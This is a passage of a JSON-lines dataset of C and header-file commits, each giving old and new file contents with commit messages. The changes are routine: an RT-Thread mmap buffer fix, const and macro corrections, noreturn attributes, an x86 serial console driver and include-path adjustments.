SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","subject":"UPDATE Commented out some test code","message":"UPDATE Commented out some test code\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"97560dd8e208d7b7fc2262cef135a3cbcaeae2eb","old_file":"components\/libc\/mmap\/posix_mmap.c","new_file":"components\/libc\/mmap\/posix_mmap.c","old_contents":"\/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date           Author       Notes\n * 2017\/11\/30     Bernard      The first version.\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n\n#include <rtthread.h>\n#include <dfs_posix.h>\n\n#include <sys\/mman.h>\n\nvoid *mmap(void *addr, size_t length, int prot, int flags,\n    int fd, off_t offset)\n{\n    uint8_t *mem;\n\n    if (addr)\n    {\n        mem = addr;\n    }\n    else mem = (uint8_t *)malloc(length);\n\n    if (mem)\n    {\n        off_t cur;\n        size_t read_bytes;\n\n        cur = lseek(fd, 0, SEEK_SET);\n\n        lseek(fd, offset, SEEK_SET);\n        read_bytes = read(fd, addr, length);\n        if (read_bytes != length)\n        {\n            if (addr == RT_NULL)\n            {\n                \/* read failed *\/\n                free(mem);\n                mem = RT_NULL;\n            }\n        }\n        lseek(fd, cur, SEEK_SET);\n\n        return mem;\n    }\n\n    errno = ENOMEM;\n\n    return MAP_FAILED;\n}\n\nint munmap(void *addr, size_t length)\n{\n    if (addr)\n    {\n        free(addr);\n        return 0;\n    }\n\n    return -1;\n}\n","new_contents":"\/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date           Author       Notes\n * 2017\/11\/30     Bernard      The first version.\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n\n#include <rtthread.h>\n#include <dfs_posix.h>\n\n#include <sys\/mman.h>\n\nvoid *mmap(void *addr, size_t length, int prot, int flags,\n    int fd, off_t offset)\n{\n    uint8_t *mem;\n\n    if (addr)\n    {\n        mem = addr;\n    }\n    else mem = (uint8_t *)malloc(length);\n\n    if (mem)\n    {\n        off_t cur;\n        size_t read_bytes;\n\n        cur = lseek(fd, 0, SEEK_SET);\n\n        lseek(fd, offset, SEEK_SET);\n        read_bytes = read(fd, mem, length);\n        if (read_bytes != length)\n        {\n            if (addr == RT_NULL)\n            {\n                \/* read failed *\/\n                free(mem);\n                mem = RT_NULL;\n            }\n        }\n        lseek(fd, cur, SEEK_SET);\n\n        return mem;\n    }\n\n    errno = ENOMEM;\n\n    return MAP_FAILED;\n}\n\nint munmap(void *addr, size_t length)\n{\n    if (addr)\n    {\n        free(addr);\n        return 0;\n    }\n\n    return -1;\n}\n","subject":"Fix the addr=NULL issue in mmap.","message":"[libc] Fix the addr=NULL issue in mmap.\n","lang":"C","license":"apache-2.0","repos":"RT-Thread\/rt-thread,gbcwbz\/rt-thread,weety\/rt-thread,weiyuliang\/rt-thread,RT-Thread\/rt-thread,RT-Thread\/rt-thread,nongxiaoming\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,armink\/rt-thread,nongxiaoming\/rt-thread,AubrCool\/rt-thread,RT-Thread\/rt-thread,gbcwbz\/rt-thread,geniusgogo\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,ArdaFu\/rt-thread,weety\/rt-thread,zhaojuntao\/rt-thread,zhaojuntao\/rt-thread,hezlog\/rt-thread,nongxiaoming\/rt-thread,gbcwbz\/rt-thread,FlyLu\/rt-thread,weiyuliang\/rt-thread,nongxiaoming\/rt-thread,ArdaFu\/rt-thread,hezlog\/rt-thread,AubrCool\/rt-thread,weiyuliang\/rt-thread,ArdaFu\/rt-thread,weety\/rt-thread,zhaojuntao\/rt-thread,geniusgogo\/rt-thread,FlyLu\/rt-thread,armink\/rt-thread,nongxiaoming\/rt-thread,armink\/rt-thread,gbcwbz\/rt-thread,FlyLu\/rt-thread,weety\/rt-thread,AubrCool\/rt-thread,RT-Thread\/rt-thread,gbcwbz\/rt-thread,AubrCool\/rt-thread,RT-Thread\/rt-thread,nongxiaoming\/rt-thread,weety\/rt-thread,AubrCool\/rt-thread,hezlog\/rt-thread,zhaojuntao\/rt-thread,ArdaFu\/rt-thread,geniusgogo\/rt-thread,ArdaFu\/rt-thread,zhaojuntao\/rt-thread,weety\/rt-thread,weiyuliang\/rt-thread,gbcwbz\/rt-thread,nongxiaoming\/rt-thread,weiyuliang\/rt-thread,FlyLu\/rt-thread,weety\/rt-thread,ArdaFu\/rt-thread,ArdaFu\/rt-thread,FlyLu\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,zhaojuntao\/rt-thread,weiyuliang\/rt-thread,AubrCool\/rt-thread,armink\/rt-thread,armink\/rt-thread,FlyLu\/rt-thread,geniusgogo\/rt-thread,geniusgogo\/rt-thread,weiyuliang\/rt-thread,geniusgogo\/rt-thread,gbcwbz\/rt-thread,zhaojuntao\/rt-thread,FlyLu\/rt-thread,armink\/rt-thread,hezlog\/rt-thread,AubrCool\/rt-thread"}
{"commit":"e0ff8228425c0235e4d352460c203d43f6a24a19","old_file":"util\/InputState.h","new_file":"util\/InputState.h","old_contents":"#ifndef INPUTSTATE_H\n#define INPUTSTATE_H\n\n#include <SDL2\/SDL.h>\n#undef main\n#include <map>\n\nclass InputState\n{\npublic:\n\tenum KeyFunction { KF_EXIT, KF_FORWARDS, KF_BACKWARDS, KF_ROTATE_SUN };\n\n\tInputState();\n\tvoid readInputState();\n\tbool getKeyState(KeyFunction f);\n\tint getAbsoluteMouseX() { return mouse_x; };\n\tint getAbsoluteMouseY() { return mouse_y; };\n\tfloat getMouseX() { return (float)mouse_x \/ (float)w; };\n\tfloat getMouseY() { return (float)mouse_y \/ (float)h; };\n\n\tint w, h;\n\tint mouse_x, mouse_y;\n\nprivate:\n\tUint8 *keys;\n\tUint8 key_function_to_keycode[4];\n};\n\n#endif\n","new_contents":"#ifndef INPUTSTATE_H\n#define INPUTSTATE_H\n\n#include <SDL2\/SDL.h>\n#undef main\n#include <map>\n\nclass InputState\n{\npublic:\n\tenum KeyFunction { KF_EXIT, KF_FORWARDS, KF_BACKWARDS, KF_ROTATE_SUN };\n\n\tInputState();\n\tvoid readInputState();\n\tbool getKeyState(KeyFunction f);\n\tint getAbsoluteMouseX() { return mouse_x; };\n\tint getAbsoluteMouseY() { return mouse_y; };\n\tfloat getMouseX() { return (float)mouse_x \/ (float)w; };\n\tfloat getMouseY() { return (float)mouse_y \/ (float)h; };\n\n\tint w, h;\n\tint mouse_x, mouse_y;\n\nprivate:\n\tconst Uint8 *keys;\n\tUint8 key_function_to_keycode[4];\n};\n\n#endif\n","subject":"Change key state array constness.","message":"Change key state array constness.\n\nFixed for compatibility with upstream SDL2.\n","lang":"C","license":"mit","repos":"pstiasny\/derpengine,pstiasny\/derpengine"}
{"commit":"7b1b9a38211b3d24d7e546c1f8314e17eea73391","old_file":"oscl\/oscl_base.h","new_file":"oscl\/oscl_base.h","old_contents":"\/* ------------------------------------------------------------------\n * Copyright (C) 2009 Martin Storsjo\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied.\n * See the License for the specific language governing permissions\n * and limitations under the License.\n * -------------------------------------------------------------------\n *\/\n\n#ifndef OSCL_BASE_H\n#define OSCL_BASE_H\n\n#include <stdint.h>\n\ntypedef int8_t int8;\ntypedef uint8_t uint8;\ntypedef int16_t int16;\ntypedef uint16_t uint16;\ntypedef int32_t int32;\ntypedef uint32_t uint32;\ntypedef int64_t int64;\ntypedef uint64_t uint64;\n\n#define OSCL_IMPORT_REF\n#define OSCL_EXPORT_REF\n#define OSCL_UNUSED_ARG (void)\n\n#endif\n","new_contents":"\/* ------------------------------------------------------------------\n * Copyright (C) 2009 Martin Storsjo\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied.\n * See the License for the specific language governing permissions\n * and limitations under the License.\n * -------------------------------------------------------------------\n *\/\n\n#ifndef OSCL_BASE_H\n#define OSCL_BASE_H\n\n#include <stdint.h>\n\ntypedef int8_t int8;\ntypedef uint8_t uint8;\ntypedef int16_t int16;\ntypedef uint16_t uint16;\ntypedef int32_t int32;\ntypedef uint32_t uint32;\ntypedef int64_t int64;\ntypedef uint64_t uint64;\n\n#define OSCL_IMPORT_REF\n#define OSCL_EXPORT_REF\n#define OSCL_UNUSED_ARG(x) (void)(x)\n\n#endif\n","subject":"Use suggested change from Martin in defining OSCL_UNUSED_ARG.","message":"Use suggested change from Martin in defining OSCL_UNUSED_ARG.\n","lang":"C","license":"apache-2.0","repos":"Distrotech\/opencore-amr,KurentoLegacy\/opencore-amr,KurentoLegacy\/opencore-amr,VFR-maniac\/opencore-amr,BelledonneCommunications\/opencore-amr,yxl\/opencore-amr-js,lyx2014\/-opencore-amr,yxl\/opencore-amr-js,VFR-maniac\/opencore-amr,BelledonneCommunications\/opencore-amr,jiangjianping\/opencore-amr,VFR-maniac\/opencore-amr,lyx2014\/-opencore-amr,yxl\/opencore-amr-js,Distrotech\/opencore-amr,KurentoLegacy\/opencore-amr,Distrotech\/opencore-amr,jiangjianping\/opencore-amr,yxl\/opencore-amr-js,yxl\/opencore-amr-js"}
{"commit":"b767e4fe4d8f4ff89dbd4a4c95352511e983162f","old_file":"src\/libcol\/include\/util\/error.h","new_file":"src\/libcol\/include\/util\/error.h","old_contents":"#ifndef ERROR_H\n#define ERROR_H\n\n\/*\n * Note that we include \"fmt\" in the variadic argument list, because C99\n * apparently doesn't allow variadic macros to be invoked without any vargs\n * parameters.\n *\/\n#define ERROR(...)      var_error(__FILE__, __LINE__, __VA_ARGS__)\n#define FAIL()          simple_error(__FILE__, __LINE__)\n#define ASSERT(cond)    ((cond) || assert_fail(APR_STRINGIFY(cond),     \\\n                                               __FILE__, __LINE__))\n\nvoid simple_error(const char *file, int line_num);\nvoid var_error(const char *file, int line_num,\n               const char *fmt, ...) __attribute__((format(printf, 3, 4)));\nint assert_fail(const char *cond, const char *file, int line_num);\n\n#endif  \/* ERROR_H *\/\n","new_contents":"#ifndef ERROR_H\n#define ERROR_H\n\n\/*\n * Note that we include \"fmt\" in the variadic argument list, because C99\n * apparently doesn't allow variadic macros to be invoked without any vargs\n * parameters.\n *\/\n#define ERROR(...)      var_error(__FILE__, __LINE__, __VA_ARGS__)\n#define FAIL()          simple_error(__FILE__, __LINE__)\n#define ASSERT(cond)    ((cond) || assert_fail(APR_STRINGIFY(cond),     \\\n                                               __FILE__, __LINE__))\n\nvoid simple_error(const char *file, int line_num) __attribute__((noreturn));\nvoid var_error(const char *file, int line_num,\n               const char *fmt, ...) __attribute__((format(printf, 3, 4), noreturn));\nint assert_fail(const char *cond, const char *file, int line_num);\n\n#endif  \/* ERROR_H *\/\n","subject":"Use GCC \"noreturn\" function attribute.","message":"Use GCC \"noreturn\" function attribute.\n","lang":"C","license":"mit","repos":"bloom-lang\/c4,bloom-lang\/c4,bloom-lang\/c4"}
{"commit":"017146d8004a683cfb9fef68095a238372ba1743","old_file":"include\/nekit\/config.h","new_file":"include\/nekit\/config.h","old_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#ifndef NEKIT_TUNNEL_BUFFER_SIZE\n#define NEKIT_TUNNEL_BUFFER_SIZE 8192\n#endif\n\n#ifndef NEKIT_TUNNEL_MAX_BUFFER_SIZE\n#define NEKIT_TUNNEL_MAX_BUFFER_SIZE NEKIT_TUNNEL_BUFFER_SIZE\n#endif\n","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#ifndef NEKIT_TUNNEL_BUFFER_SIZE\n#define NEKIT_TUNNEL_BUFFER_SIZE 8192\n#endif\n\n#ifndef NEKIT_TUNNEL_MAX_BUFFER_SIZE\n#define NEKIT_TUNNEL_MAX_BUFFER_SIZE (NEKIT_TUNNEL_BUFFER_SIZE * 2)\n#endif\n","subject":"Enlarge default buffer size limit","message":"FEAT: Enlarge default buffer size limit\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"421139c98b8f202d8a3f5c7667cec95271ae0238","old_file":"tests\/regression\/13-privatized\/32-traces-mine-vs-oplus-vs-meet.c","new_file":"tests\/regression\/13-privatized\/32-traces-mine-vs-oplus-vs-meet.c","old_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&B);\n  g = 5;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&B);\n  g = 0;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  \/\/ This must be before the other to get Mine to fail for the other even with thread ID partitioning.\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&C);\n  assert(g == 0);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&B);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_join(id, NULL);\n  return 0;\n}\n","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&B);\n  g = 5;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&B);\n  g = 0;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  \/\/ This must be before the other to get Mine to fail for the other even with thread ID partitioning.\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&C);\n  assert(g == 0); \/\/ mine and mutex-oplus fail, mutex-meet succeeds\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&B);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0); \/\/ mine fails, mutex-oplus and mutex-meet succeed\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_join(id, NULL);\n  return 0;\n}\n","subject":"Add assert fail\/success comments to 13\/32","message":"Add assert fail\/success comments to 13\/32\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"5bf537f29920a7a3c9db7792666b3af281f203e4","old_file":"src\/plugins\/cpu.c","new_file":"src\/plugins\/cpu.c","old_contents":"#include <uv.h>\n#include <estragon.h>\n\n#ifdef __sun\n#include <sys\/pset.h>\n#include <sys\/loadavg.h>\n#endif\n\nstatic uv_timer_t cpu_timer;\n\nvoid send_cpu_usage(uv_timer_t *timer, int status) {\n  double loadinfo[3];\n#ifdef DEBUG\n  printf(\"cpu usage timer fired, status %d\\n\", status);\n#endif\n#ifdef __sun\n  \/* On SunOS, if we're not in a global zone, uv_loadavg returns [0, 0, 0] *\/\n  \/* This, instead, gets the loadavg for our assigned processor set. *\/\n  pset_getloadavg(PS_MYID, loadinfo, 3);\n#else\n  uv_loadavg(loadinfo);\n#endif\n  estragon_send(\"CPU load, last minute\", \"info\", loadinfo[0]);\n  estragon_send(\"CPU load, last 5 minutes\", \"info\", loadinfo[1]);\n  estragon_send(\"CPU load, last 15 minutes\", \"info\", loadinfo[2]);\n}\n\nint cpu_init() {\n  uv_timer_init(uv_default_loop(), &cpu_timer);\n  uv_timer_start(&cpu_timer, send_cpu_usage, 0, 1000);\n\n  return 0;\n}\n","new_contents":"#include <uv.h>\n#include <estragon.h>\n\n#ifdef __sun\n#include <sys\/pset.h>\n#include <sys\/loadavg.h>\n#endif\n\nstatic uv_timer_t cpu_timer;\n\nvoid send_cpu_usage(uv_timer_t *timer, int status) {\n  double loadinfo[3];\n#ifdef DEBUG\n  printf(\"cpu usage timer fired, status %d\\n\", status);\n#endif\n#ifdef __sun\n  \/* On SunOS, if we're not in a global zone, uv_loadavg returns [0, 0, 0] *\/\n  \/* This, instead, gets the loadavg for our assigned processor set. *\/\n  pset_getloadavg(PS_MYID, loadinfo, 3);\n#else\n  uv_loadavg(loadinfo);\n#endif\n  estragon_send(\"cpu\", \"info\", \"CPU load, last minute\", loadinfo[0]);\n  estragon_send(\"cpu\", \"info\", \"CPU load, last 5 minutes\", loadinfo[1]);\n  estragon_send(\"cpu\", \"info\", \"CPU load, last 15 minutes\", loadinfo[2]);\n}\n\nint cpu_init() {\n  uv_timer_init(uv_default_loop(), &cpu_timer);\n  uv_timer_start(&cpu_timer, send_cpu_usage, 0, 1000);\n\n  return 0;\n}\n","subject":"Use new `estragon_send` API in CPU plugin","message":"[api] Use new `estragon_send` API in CPU plugin\n","lang":"C","license":"mit","repos":"mmalecki\/forza,opsmezzo\/forza,mmalecki\/forza,npm\/forza,cloudninja-io\/libinterposed,mmalecki\/forza,opsmezzo\/forza,opsmezzo\/forza"}
{"commit":"c5dff4b623492ff9fdb44242b5263df7e637981c","old_file":"src\/plugins\/zlib\/istream-bzlib.c","new_file":"src\/plugins\/zlib\/istream-bzlib.c","old_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","new_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <stdio.h>\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","subject":"Include stdio.h in case bzlib.h needs it.","message":"bzlib: Include stdio.h in case bzlib.h needs it.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"2624600449a5360f1718fc5ba138daf7d8c04cf9","old_file":"kernel\/arch\/x86\/serial_console.c","new_file":"kernel\/arch\/x86\/serial_console.c","old_contents":"","new_contents":"#include <kernel\/kernel.h>\n#include <kernel\/console.h>\n#include <arch\/ioport.h>\n\n#define SERIAL_PORT_IO_BASE 0x3f8\n#define REG_DATA            (SERIAL_PORT_IO_BASE)\n#define REG_DLL             (SERIAL_PORT_IO_BASE)\n#define REG_IER             (SERIAL_PORT_IO_BASE + 1)\n#define REG_DLH             (SERIAL_PORT_IO_BASE + 1)\n#define REG_FCR             (SERIAL_PORT_IO_BASE + 2)\n#define REG_LCR             (SERIAL_PORT_IO_BASE + 3)\n#define REG_LSR             (SERIAL_PORT_IO_BASE + 5)\n\n#define FCR_EFIFO           BITU(0)\n#define FCR_14BYTES         (BITU(6) | BITU(7))\n#define LCR_8BIT            (BITU(0) | BITU(1))\n#define LCR_DLAB            BITU(7)\n#define LSR_TX_READY        BITU(5)\n\nstatic void putchar(char c)\n{\n\twhile (!(inb(REG_LSR) & LSR_TX_READY));\n\toutb(REG_DATA, c);\n}\n\nstatic void write(const char *buf, unsigned long size)\n{\n\tfor (unsigned i = 0; i != size; ++i)\n\t\tputchar(buf[i]);\n}\n\nstatic struct console serial_console = {\n\t.write = write\n};\n\nstatic void init_polling_mode(void)\n{\n\t\/* disable all interrupts *\/\n\toutb(REG_IER, 0);\n\t\/* enable access to frequency divisor *\/\n\toutb(REG_LCR, LCR_DLAB);\n\t\/* set 9600 baud rate (timer frequency is 115200, divide it by 12) *\/\n\toutb(REG_DLL, 0x0C);\n\toutb(REG_DLH, 0x00);\n\t\/* set frame format (8 bit, no parity, 1 stop bit) and drop DLAB *\/\n\toutb(REG_LCR, LCR_8BIT);\n\t\/* enable 14 byte length FIFO buffer *\/\n\toutb(REG_FCR, FCR_EFIFO | FCR_14BYTES);\n}\n\nvoid init_serial_console(void)\n{\n\tinit_polling_mode();\n\tregister_console(&serial_console);\n}\n","subject":"Add serial port console implementation","message":"Add serial port console implementation\n","lang":"C","license":"mit","repos":"krinkinmu\/auos,krinkinmu\/auos,krinkinmu\/auos,krinkinmu\/auos"}
{"commit":"ef0b1d076b6a4a3954358e07f432a3e57b1e0e4e","old_file":"Classes\/APIAFNetworkingHTTPClient.h","new_file":"Classes\/APIAFNetworkingHTTPClient.h","old_contents":"\/\/\n\/\/  APIAFNetworkingHTTPClient.h\n\/\/  APIClient\n\/\/\n\/\/  Created by Klaas Pieter Annema on 30-08-13.\n\/\/  Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AFNetworking.h\"\n\n#import \"APIHTTPClient.h\"\n\n@interface APIAFNetworkingHTTPClient : NSObject <APIHTTPClient>\n\n@property (nonatomic, readonly, copy) NSURL *baseURL;\n@property (nonatomic, readonly, strong) NSURLSessionConfiguration *sessionConfiguration;\n\n- (id)initWithBaseURL:(NSURL *)baseURL;\n- (id)initWithBaseURL:(NSURL *)baseURL\n sessionConfiguration:(NSURLSessionConfiguration *)sessionConfiguration NS_DESIGNATED_INITIALIZER;\n\n@end\n","new_contents":"\/\/\n\/\/  APIAFNetworkingHTTPClient.h\n\/\/  APIClient\n\/\/\n\/\/  Created by Klaas Pieter Annema on 30-08-13.\n\/\/  Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <AFNetworking\/AFNetworking.h>\n\n#import \"APIHTTPClient.h\"\n\n@interface APIAFNetworkingHTTPClient : NSObject <APIHTTPClient>\n\n@property (nonatomic, readonly, copy) NSURL *baseURL;\n@property (nonatomic, readonly, strong) NSURLSessionConfiguration *sessionConfiguration;\n\n- (id)initWithBaseURL:(NSURL *)baseURL;\n- (id)initWithBaseURL:(NSURL *)baseURL\n sessionConfiguration:(NSURLSessionConfiguration *)sessionConfiguration NS_DESIGNATED_INITIALIZER;\n\n@end\n","subject":"Use the correct import syntax","message":"Use the correct import syntax\n","lang":"C","license":"mit","repos":"klaaspieter\/APIClient"}
{"commit":"fdd95026532a728b5faad191f7485183546cfe3b","old_file":"include\/fruit\/impl\/unordered_map.h","new_file":"include\/fruit\/impl\/unordered_map.h","old_contents":"\/*\n * Copyright 2014 Google Inc. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef FRUIT_UNORDERED_MAP_H\n#define FRUIT_UNORDERED_MAP_H\n\n\n#ifdef FRUIT_NO_SPARSE_HASH\n#include <unordered_map>\n\nnamespace fruit {\nnamespace impl {\n\ntemplate <typename Key, typename Value>\nusing UnorderedMap = std::unordered_map<Key, Value>;\n\n} \/\/ namespace impl\n} \/\/ namespace fruit\n\n#else\n#include <sparsehash\/dense_hash_map>\n\nnamespace fruit {\nnamespace impl {\n\ntemplate <typename Key, typename Value>\nusing UnorderedMap = google::dense_hash_map<Key, Value>;\n\n} \/\/ namespace impl\n} \/\/ namespace fruit\n\n#endif\n\n\n#endif \/\/ FRUIT_UNORDERED_MAP_H\n","new_contents":"\/*\n * Copyright 2014 Google Inc. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef FRUIT_UNORDERED_MAP_H\n#define FRUIT_UNORDERED_MAP_H\n\n\n#ifdef FRUIT_NO_SPARSE_HASH\n#include <unordered_map>\n\nnamespace fruit {\nnamespace impl {\n\ntemplate <typename Key, typename Value>\nusing UnorderedMap = std::unordered_map<Key, Value>;\n\n} \/\/ namespace impl\n} \/\/ namespace fruit\n\n#else\n#include <google\/dense_hash_map>\n\nnamespace fruit {\nnamespace impl {\n\ntemplate <typename Key, typename Value>\nusing UnorderedMap = google::dense_hash_map<Key, Value>;\n\n} \/\/ namespace impl\n} \/\/ namespace fruit\n\n#endif\n\n\n#endif \/\/ FRUIT_UNORDERED_MAP_H\n","subject":"Use the old include path for sparsehash to support older versions of sparsehash (still currently used in Ubuntu and Fedora).","message":"Use the old include path for sparsehash to support older versions of sparsehash (still currently used in Ubuntu and Fedora).\n","lang":"C","license":"apache-2.0","repos":"d\/fruit,google\/fruit,google\/fruit,google\/fruit,d\/fruit,d\/fruit"}
